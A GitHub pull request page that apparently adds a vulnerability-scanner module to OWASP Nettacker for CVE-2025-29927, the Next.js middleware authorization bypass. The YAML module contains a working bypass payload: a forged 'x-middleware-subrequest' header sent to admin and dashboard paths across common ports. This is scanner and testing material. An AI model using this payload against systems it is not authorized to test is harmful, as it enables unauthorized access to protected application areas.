-
-
Notifications
You must be signed in to change notification settings - Fork 1.1k
feat: add vuln module for NextJS middleware bypass CVE-2025-29927 (CISA KEV) #1476
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
Dami99-b
wants to merge
1
commit into
OWASP:master
Choose a base branch
from
Dami99-b:feat/add-nextjs-cve-2025-29927-module
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+57
−0
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,57 @@ | ||
| info: | ||
| name: nextjs_cve_2025_29927_vuln | ||
| author: Prosper Okah | ||
| severity: 9 | ||
| description: CVE-2025-29927 is an unauthenticated authorization bypass vulnerability in Next.js. The framework uses an internal header x-middleware-subrequest to track recursive middleware calls. In affected versions (prior to 12.3.5, 13.5.9, 14.2.25, 15.2.3), this header is not stripped from incoming external requests, allowing attackers to bypass authentication and access control middleware entirely by setting this header in any HTTP request. | ||
| reference: | ||
| - https://nvd.nist.gov/vuln/detail/CVE-2025-29927 | ||
| - https://nextjs.org/blog/cve-2025-29927 | ||
| - https://github.com/EQSTLab/CVE-2025-29927 | ||
| - https://www.cisa.gov/known-exploited-vulnerabilities-catalog | ||
| profiles: | ||
| - vuln | ||
| - http | ||
| - critical_severity | ||
| - cve2025 | ||
| - cve | ||
| - nextjs | ||
| - auth_bypass | ||
| - middleware_bypass | ||
|
|
||
| payloads: | ||
| - library: http | ||
| steps: | ||
| - method: get | ||
| timeout: 3 | ||
| headers: | ||
| User-Agent: "{user_agent}" | ||
| x-middleware-subrequest: "middleware:middleware:middleware:middleware:middleware" | ||
| ssl: false | ||
| url: | ||
| nettacker_fuzzer: | ||
| input_format: "{{schema}}://{target}:{{ports}}/{{path}}" | ||
| prefix: "" | ||
| suffix: "" | ||
| interceptors: | ||
| data: | ||
| path: | ||
| - "admin" | ||
| - "dashboard" | ||
| - "api/admin" | ||
| schema: | ||
| - "http" | ||
| - "https" | ||
| ports: | ||
| - 80 | ||
| - 443 | ||
| - 3000 | ||
| - 8080 | ||
| response: | ||
| condition_type: and | ||
| conditions: | ||
| status_code: | ||
| regex: '200' | ||
| reverse: false | ||
| content: | ||
| regex: "__NEXT_DATA__|_next/|next/dist" | ||
| reverse: false | ||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.